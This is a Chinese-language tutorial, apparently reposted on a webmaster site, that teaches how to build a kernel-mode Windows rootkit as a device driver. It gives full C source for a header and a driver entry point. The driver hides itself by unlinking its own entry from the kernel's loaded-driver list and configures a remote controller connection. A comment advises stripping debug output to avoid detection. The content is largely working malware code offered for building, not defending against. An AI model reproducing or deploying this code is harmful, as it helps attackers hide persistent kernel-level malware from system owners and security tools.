一、綜述
本文將引領讀者打造一個初級的內核級Rootkit,然后為其引入兩種簡單的隱形技術:進程隱形技術和文件隱形技術。同時,為了讓讀者獲得rootkit編程的相關經驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術。 本文介紹的Rootkit的主要構件是一個設備驅動程序,所以我們首先了解一下我們的第一個rootkit。 二、rootkit主體 本節引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設備驅動程序。那么為什么要用設備驅動程序作為主體呢?很明顯,因為在系統中,設備驅動程序和操作系統一樣,都是程序中的特權階級——它們運行于Ring0,有權訪問系統中的所有代碼和數據。還有一點需要說明的是,因為本例主要目的在于介紹rootkit是如何隱形的,所以并沒有實現后門之類的具體功能,。 我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數據結構和函數。下面,先給出我們用到的第一個文件,它是一個頭文件,名為Invisible.h,具體如下所示: //Invisible.h:我們rootkit的頭文件 #ifndef _INVISIBLE_H_ #define _INVISIBLE_H_ typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD* PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef struct _DRIVER_DATA { LIST_ENTRY listEntry; DWORD unknown1; DWORD unknown2; DWORD unknown3; DWORD unknown4; DWORD unknown5; DWORD unknown6; DWORD unknown7; UNICODE_STRING path; UNICODE_STRING name; } DRIVER_DATA; #endif 我們知道,應用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅動程序這里就行不通了,原因大致有二條,一是驅動程序體積一般較為緊湊,二是驅動程序用途較為專一,用到的數據類型較少。因此,我們這里給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數據類型。 這里定義的類型中,有一個數據類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 操作系統未公開的一個數據結構,其中含有分別指向設備驅動程序目錄中上一個和下一個設備驅動程序的指針。而我們這里開發的rootkit恰好就是作為設備驅動程序來實現,所以,只要從設備驅動程序目錄中將我們的rootkit(即驅動程序)所對應的目錄項去掉,系統管理程序就看不到它了,從而實現了隱形。 上面介紹了rootkit的頭文件,現在開始介紹rootkit的主體部分,它實際就是一個基本的設備驅動程序,具體代碼如下面的Invisible.c所示: // Invisible #include "ntddk.h" #include "Invisible.h" #include "fileManager.h" #include "configManager.h" // 全局變量 ULONG majorVersion; ULONG minorVersion; //當進行free build時,將其注釋掉,以防被檢測到 VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) { DbgPrint("comint16: OnUnload called."); } NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) { DRIVER_DATA* driverData; //取得操作系統的版本 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95 // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000 // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95 // Minor = 1: Windows XP // Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 ) { DbgPrint("comint16: Running on Windows 2003"); } else if ( majorVersion == 5 && minorVersion == 1 ) { DbgPrint("comint16: Running on Windows XP"); } else if ( majorVersion == 5 && minorVersion == 0 ) { DbgPrint("comint16: Running on Windows 2000"); } else if ( majorVersion == 4 && minorVersion == 0 ) { DbgPrint("comint16: Running on Windows NT 4.0"); } else { DbgPrint("comint16: Running on unknown system"); } // 隱藏該驅動程序 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20)); if( driverData != NULL ) { // 將本驅動程序的相應目錄項從項驅動程序目錄中拆下來 *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; driverData->listEntry.Flink->Blink = driverData->listEntry.Blink; } // 允許卸載本驅動程序 pDriverObject->DriverUnload = OnUnload; // 為本Rootkit的控制器配置連接 if( !NT_SUCCESS( Configure() ) ) { DbgPrint("comint16: Could not configure remote connection.\n"); return STATUS_UNSUCCESSFUL; } return STATUS_SUCCESS; } |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信